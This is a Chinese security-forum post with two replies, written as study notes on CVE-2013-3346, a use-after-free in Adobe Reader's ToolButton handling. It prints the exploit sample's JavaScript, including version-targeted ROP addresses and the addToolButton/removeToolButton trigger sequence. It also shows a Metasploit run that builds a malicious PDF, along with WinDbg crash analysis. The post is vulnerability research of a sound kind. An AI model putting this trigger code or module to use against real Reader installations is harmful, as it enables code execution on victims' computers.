首页
社区
课程
招聘
[原创]CVE-2013-3346学习笔记
发表于: 2018-8-20 20:55 5849

[原创]CVE-2013-3346学习笔记

2018-8-20 20:55
5849

CVE-2013-3346是PDF阅读器Adobe Reader的一个UAF漏洞。以下是我的学习笔记。

漏洞存在于Adobe Reader 11.0.0到11.0.2, 10.0.0到10.1.6 以及9.0.0到9.5.4等版本,在处理ToolButton对象时存在一个UAF漏洞。

使用PdfStreamDumper打开样本文件,在第5个object位置,有一段JavaScript脚本,这是触发漏洞以及漏洞利用的主要部分。

这段JavaScript脚本可以分为3个部分,分别是版本判断、堆喷射、漏洞触发。

这段主要判断adobe reader 部分版本是否时存在漏洞的版本,并根据不同版本设置ToolButton对象大小和ROP起始地址的计算。调试使用的版本为9.3.4,所以obj_size=0x34c,rop_addr=0x0c0c08e8

先调用app.addToolButton创建父ToolButton对象,然后回调函数addButtonFunc;在addButtonFunc中创建子ToolButton对象,然后回调函数removeButtonFunc;在removeButtonFunc函数中删除父ToolButton对象。
由于父对象以及被释放,子对象还有对父对象的引用,从而导致UAF漏洞。
父对象被释放后,所对应的堆空间也会被释放,然后使用与ToolButton对象大小相等的字符串占位,将对应的空间申请回来,并写入自己需要填充的值。

虽然知道漏洞成因,但是不知道具体触发漏洞的位置,需要先确定漏洞触发的位置。由于该样本会在Win7下产生Crash,所以先试用Windbg附加Adobe Reader进场,然后打开样本文件,出现crash。

现在可以基本确定,在Crash之前会调用0x5ecf2c61。切换到XP 下,使用OD挂载(我这边XP下Windbg下载符号文件有问题,所以使用OD),在AcroRd32+0x52C61(AcroRd32.dll,IDA中的地址为0x00352C61)处下断点。F9运行,会多次命中断点,最后一次会跳入ROP部分。

观察此处call指令对应的地址0x0c0c0c0c。此时eax=0x0C0C08E8。也就是在JavaScript中所对应的rop_addr=0x0c0c08e8。所以此处可以使用条件断点。

 
msf exploit(windows/fileformat/adobe_toolbutton) > show options 
Module options (exploit/windows/fileformat/adobe_toolbutton):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   FILENAME  msf.pdf          yes       The file name.
Payload options (windows/exec):
   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   CMD       calc.exe         yes       The command string to execute
   EXITFUNC  process          yes       Exit technique (Accepted: '', seh, thread, process, none)
   **DisablePayloadHandler: True   (RHOST and RPORT settings will be ignored!)**
Exploit target:
   Id  Name
   --  ----
   0   Windows XP / Adobe Reader 9/10/11
msf exploit(windows/fileformat/adobe_toolbutton) > run
[*] Creating 'msf.pdf' file...
[+] msf.pdf stored at /root/.msf4/local/msf.pdf
msf exploit(windows/fileformat/adobe_toolbutton) >
if (app.viewerVersion >= 9 && app.viewerVersion < 10 && app.viewerVersion <= 9.504) {
  obj_size = 0x330 + 0x1c;
  rop = rop9;
  ret_addr = unescape("%ua83e%u4a82");
  rop_addr = unescape("%u08e8%u0c0c");
  r_addr = 0x08e8;
} else if (app.viewerVersion >= 10 && app.viewerVersion < 11 && app.viewerVersion <= 10.106) {
  obj_size = 0x360 + 0x1c;
  rop = rop10;
  rop_addr = unescape("%u08e4%u0c0c");
  r_addr = 0x08e4;
  ret_addr = unescape("%ua8df%u4a82");
} else if (app.viewerVersion >= 11 && app.viewerVersion <= 11.002) {
  r11 = true;
  obj_size = 0x370;
  rop = rop11;
  rop_addr = unescape("%u08a8%u0c0c");
  r_addr = 0x08a8;
  ret_addr = unescape("%u8003%u4a84");
} else {
  vulnerable = false;
}
  removeButtonFunc = function () {
    app.removeToolButton({
        cName: "evil"
    });
    for (i = 0; i < 10; i++) arr[i] = part1.concat(part2);
  }
  addButtonFunc = function () {
    app.addToolButton({
      cName: "xxx",
      cExec: "1",
      cEnable: "removeButtonFunc();"
    });
  }
  app.addToolButton({
    cName: "evil",
    cExec: "1",
    cEnable: "addButtonFunc();"
  });
0:000> g
(f80.ef8): Access violation - code c0000005 (!!! second chance !!!)
eax=5f4948ac ebx=00000000 ecx=03458134 edx=02613001 esi=03458134 edi=00000001
eip=00450045 esp=002dd404 ebp=002dd428 iopl=0         nv up ei pl zr ac pe cy
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00210257
00450045 0000            add     byte ptr [eax],al          ds:0023:5f4948ac=26
0:000> kb
ChildEBP RetAddr  Args to Child              
WARNING: Frame IP not in any known module. Following frames may be wrong.
002dd400 5ecf2c67 af812630 00000001 03458134 0x450045
002dd428 5ecf28fc 00000000 03458134 002dd494 AcroRd32!AVAcroALM_IsFeatureEnabled+0xd893
00000000 00000000 00000000 00000000 00000000 AcroRd32!AVAcroALM_IsFeatureEnabled+0xd528
0:000> ub 5ecf2c67 
AcroRd32!AVAcroALM_IsFeatureEnabled+0xd875:
5ecf2c49 895dfc          mov     dword ptr [ebp-4],ebx
5ecf2c4c ff9698020000    call    dword ptr [esi+298h]
5ecf2c52 0fb7f8          movzx   edi,ax
5ecf2c55 8b06            mov     eax,dword ptr [esi]
5ecf2c57 59              pop     ecx
5ecf2c58 8bce            mov     ecx,esi
5ecf2c5a 6689be94020000  mov     word ptr [esi+294h],di
5ecf2c61 ff9024030000    call    dword ptr [eax+324h]
  • 操作系统:Win7 / XP SP3
  • 调试器:Windbg / OllyDbg
  • 反汇编:IDA Pro 7.0
  • Adobe Reader : 9.3.4
  • 版本判断部分
  • 虽然知道漏洞成因,但是不知道具体触发漏洞的位置,需要先确定漏洞触发的位置。由于该样本会在Win7下产生Crash,所以先试用Windbg附加Adobe Reader进场,然后打开样本文件,出现crash。

    • Crash现场
    0:000> g
    (f80.ef8): Access violation - code c0000005 (!!! second chance !!!)
    eax=5f4948ac ebx=00000000 ecx=03458134 edx=02613001 esi=03458134 edi=00000001
    eip=00450045 esp=002dd404 ebp=002dd428 iopl=0         nv up ei pl zr ac pe cy
    cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00210257
    00450045 0000            add     byte ptr [eax],al          ds:0023:5f4948ac=26
    
    • 栈回溯
    0:000> kb
    ChildEBP RetAddr  Args to Child              
    WARNING: Frame IP not in any known module. Following frames may be wrong.
    002dd400 5ecf2c67 af812630 00000001 03458134 0x450045
    002dd428 5ecf28fc 00000000 03458134 002dd494 AcroRd32!AVAcroALM_IsFeatureEnabled+0xd893
    00000000 00000000 00000000 00000000 00000000 AcroRd32!AVAcroALM_IsFeatureEnabled+0xd528
    
    • 反汇编0x5ecf2c67地址,可以看到在Crash之前疑似有一个虚函数的调用。
  • Crash现场
  • 栈回溯
  • 反汇编0x5ecf2c67地址,可以看到在Crash之前疑似有一个虚函数的调用。
  • 现在可以基本确定,在Crash之前会调用0x5ecf2c61。切换到XP 下,使用OD挂载(我这边XP下Windbg下载符号文件有问题,所以使用OD),在AcroRd32+0x52C61(AcroRd32.dll,IDA中的地址为0x00352C61)处下断点。F9运行,会多次命中断点,最后一次会跳入ROP部分。

  • 观察此处call指令对应的地址0x0c0c0c0c。此时eax=0x0C0C08E8。也就是在JavaScript中所对应的rop_addr=0x0c0c08e8。所以此处可以使用条件断点。

  • 进入ROP,后续内容和CVE-2010-2338类似,不再赘述。
  • 注意:
    • 本次调试使用的是9.3.4版本,11.0.0版本的打开是会有两个进程,需要附加子进程。
    • Adobe reader XI 之后的版本有沙盒,所以该漏洞最开始被使用时是和内核提权漏洞CVE-2013-5065一起使用的。

[招生]系统0day安全班,企业级设备固件漏洞挖掘,Linux平台漏洞挖掘!

最后于 2018-8-22 08:08 被QuietBar编辑 ,原因:
收藏
免费 1
支持
分享
最新回复 (2)
雪    币: 292
活跃值: (850)
能力值: ( LV6,RANK:90 )
在线值:
发帖
回帖
粉丝
2
分析的挺好的,学习了!有一个不成熟的建议,本人也比较菜,不知道说的对不对,一个完整的漏洞分析最精华的部分就是回溯部分,也是最关键的部分,我觉得楼主在分析这个adobe的UAF的时候分析了虚函数调用时已经占位的object,然后进到堆喷的位置调用ROP+shellcode,我觉得楼主今后的分析可以在漏洞成因上为大家多做一些分享,比如这个漏洞,可以在toolbutton object是在什么地方创建的,又是在什么时候释放掉的,之后又是如何被攻击者用其他的object占位的,这个toolbutton object结构是怎样的,虚函数为什么会调用到恶意构造的0x0c0c0c0c上面进行一下分析,会更详尽完美,这也是常规UAF漏洞的一种分析方法,windbg下!heap是个很好的命令,可以跟踪到堆结构alloc和free的调用位置。

感谢楼主分享!
2018-8-20 22:11
0
雪    币: 1101
活跃值: (158)
能力值: ( LV6,RANK:80 )
在线值:
发帖
回帖
粉丝
3
Keoyo 分析的挺好的,学习了!有一个不成熟的建议,本人也比较菜,不知道说的对不对,一个完整的漏洞分析最精华的部分就是回溯部分,也是最关键的部分,我觉得楼主在分析这个adobe的UAF的时候分析了虚函数调用时已 ...
谢谢指点,分析还不够深入,我再调一调
2018-8-21 08:28
0
游客
登录 | 注册 方可回帖
返回
//